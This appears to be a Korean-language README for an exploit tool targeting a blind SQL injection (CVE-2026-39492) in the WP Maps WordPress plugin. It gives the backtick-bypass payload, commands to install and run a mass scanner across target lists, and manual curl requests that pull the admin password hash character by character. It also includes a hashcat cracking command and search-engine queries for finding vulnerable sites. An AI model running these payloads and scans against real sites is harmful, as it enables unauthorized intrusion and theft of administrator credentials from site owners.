CVE-2026-39492

// 취약: 백틱으로 감싸진 입력이 신뢰된 컬럼 식별자로 처리됨
function is_column($value) {
    if (preg_match('/^`.*`$/', $value)) {
        return true;  // esc_sql()을 완전히 우회!
    }
    return false;
}

location_id=`1` AND SLEEP(5) AND `1`=`1

1. readme.txt를 통해 WP Maps 탐지 → 버전 추출
2. POST 요청: /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. location_id 매개변수에 백틱으로 감싼 페이로드 삽입
4. 응답 시간 측정 — SLEEP(N)으로 SQL 인젝션 확인
5. boolean/time 기반 블라인드 기법으로 데이터 추출

git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt

# 단일 대상 탐지
python cve_2026_39492.py -t target.com

# 대량 스캔
python cve_2026_39492.py -f targets.txt

# 대량 스캔 + 결과 저장
python cve_2026_39492.py -f targets.txt -o sqli.txt

# 단일 대상 + 자격 증명 추출
python cve_2026_39492.py -t target.com --extract -v

# 자세한 출력
python cve_2026_39492.py -t target.com -v

  -t, --target      단일 대상 (도메인 또는 IP)
  -f, --file        대상 목록, 한 줄에 하나씩
  -o, --output      취약한 대상을 파일에 저장
  --threads         동시 작업자 수 (기본값: 20)
  --extract         확인된 대상에서 관리자 자격 증명 추출
  -v, --verbose     상세 출력 표시

$ python cve_2026_39492.py -t target.com -v

  CVE-2026-39492 — WP Maps 블라인드 SQL 인젝션 스캐너
  CVSS 9.3 | 인증 없음 | wpgmp_ajax_call → 백틱 우회

  대상: WP Maps (wp-google-map-plugin) <= 4.9.1
  벡터: admin-ajax.php?action=wpgmp_ajax_call → location_id
  우회: 백틱으로 감싸진 입력이 esc_sql()을 우회함

    [+] WP Maps 탐지됨: v4.9.0
    [*] SQLi 테스트: 6.2초 (임계값: 5초)
    [+] 블라인드 SQLi 확인됨 (응답: 6.2초)

  호스트       : target.com
  WP Maps      : 예 v4.9.0
  SQLi         : 예
  응답 시간    : 6.2초
  소요 시간    : 7.1초

$ python cve_2026_39492.py -t target.com --extract -v

    [+] 블라인드 SQLi 확인됨 (응답: 5.8초)
    [*] 블라인드 SQLi를 통해 관리자 자격 증명 추출 중...
    [*] 추출 중: admin_user
    [*] 추출 중: $P$BqVg...

  관리자 사용자 : admin_user
  관리자 해시   : $P$BqVg7xX...

  CVE-2026-39492  WP Maps 블라인드 SQLi 스캐너
  대상: 2500 | 작업자: 20
  벡터: wpgmp_ajax_call → location_id 백틱 우회
  ───────────────────────────────────────────────────────

  [SQLi]    target-vuln.com                                 6.2초  v4.9.0       응답:6.2초
  [SQLi]    wp-maps-site.com                                5.8초  v4.8.5       응답:5.8초
  [500/2500] 20%  |  WP Maps:47  SQLi:12  |  current-target.com

  ───────────────────────────────────────────────────────
  스캔 완료  |  시간: 320초
  ───────────────────────────────────────────────────────
  대상            : 2500
  WP Maps 발견    : 47
  SQLi 확인       : 12

curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5

time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND SLEEP(5) AND `1`=`1'

# 응답 > 5초 → 취약

# 관리자 해시 첫 번째 문자 확인
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_ajax_call' \
  -d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'

# 응답 > 3초 → 첫 번째 문자 ASCII 36 = '$'

hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt

body="wp-google-map-plugin"

http.html:"wp-google-map-plugin"